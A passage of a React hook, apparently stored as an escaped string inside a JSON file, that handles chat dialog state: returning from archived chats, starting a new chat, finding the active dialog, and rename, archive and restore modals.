setRestoreTarget(null)\n  }, [restoreTarget, unarchiveDialog])\n\n  const isViewingArchived =\n    viewingArchivedId != null && viewingArchivedId === activeDialogId\n\n  // Header back-chevron: from an archived chat, return to the Chat Archive\n  // page (not the current-chats list); otherwise reset to the list.\n  const handleBack = useCallback(() => {\n    const wasArchived = isViewingArchived\n    setViewingArchivedId(null)\n    setOpeningDialogId(null)\n    // Reset the adapter's active dialog id (not just the message buffer):\n    // `clearMessages` empties `messages` but leaves `activeDialogId` pointing at\n    // the just-closed dialog, so re-selecting that same dialog from the list is\n    // a no-op the history-load effect skips → a blank conversation. Selecting\n    // `null` lets the next selection register as a real change and reload.\n    selectDialog(null)\n    clearMessages()\n    if (wasArchived) setArchiveOpen(true)\n  }, [isViewingArchived, selectDialog, clearMessages])\n\n  // \"Start New Chat\" reset — clears the open conversation and ALWAYS lands on\n  // the new-chat welcome. Unlike `handleBack`, it never reopens the archive\n  // (backing out of an archived chat returns to the archive; starting a NEW\n  // chat must not), so the archive is force-closed here regardless of state.\n  const resetToNewChat = useCallback(() => {\n    setViewingArchivedId(null)\n    setOpeningDialogId(null)\n    selectDialog(null)\n    clearMessages()\n    setArchiveOpen(false)\n  }, [selectDialog, clearMessages])\n\n  // Active-conversation dialog — resolved from the active list, or the\n  // archived list when an archived chat is open (archived dialogs aren't in\n  // `dialogs`, so the header title and ⋯ / restore actions need this).\n  const activeDialog = useMemo(\n    () =>\n      dialogs.find((d) => d.id === activeDialogId) ??\n      archivedDialogs.find((d) => d.id === activeDialogId),\n    [dialogs, archivedDialogs, activeDialogId],\n  )\n\n  return {\n    // capability passthroughs (gate the archive / restore affordances)\n    fetchArchivedDialogs,\n    unarchiveDialog,\n    // archive page\n    archiveOpen,\n    archivedDialogs,\n    archivedCursor,\n    archivedLoading,\n    archivedPending,\n    openArchive,\n    closeArchive,\n    loadArchivedPage,\n    handleArchivedSelect,\n    // open conversation (current-chats list)\n    handleSelectDialog,\n    isOpeningDialog,\n    // archived conversation\n    isViewingArchived,\n    handleBack,\n    resetToNewChat,\n    activeDialog,\n    // action modals\n    renameTarget,\n    setRenameTarget,\n    archiveTarget,\n    setArchiveTarget,\n    restoreTarget,\n    setRestoreTarget,\n    handleConfirmRename,\n    handleConfirmArchive,\n    handleConfirmRestore,\n  }\n}\n"]}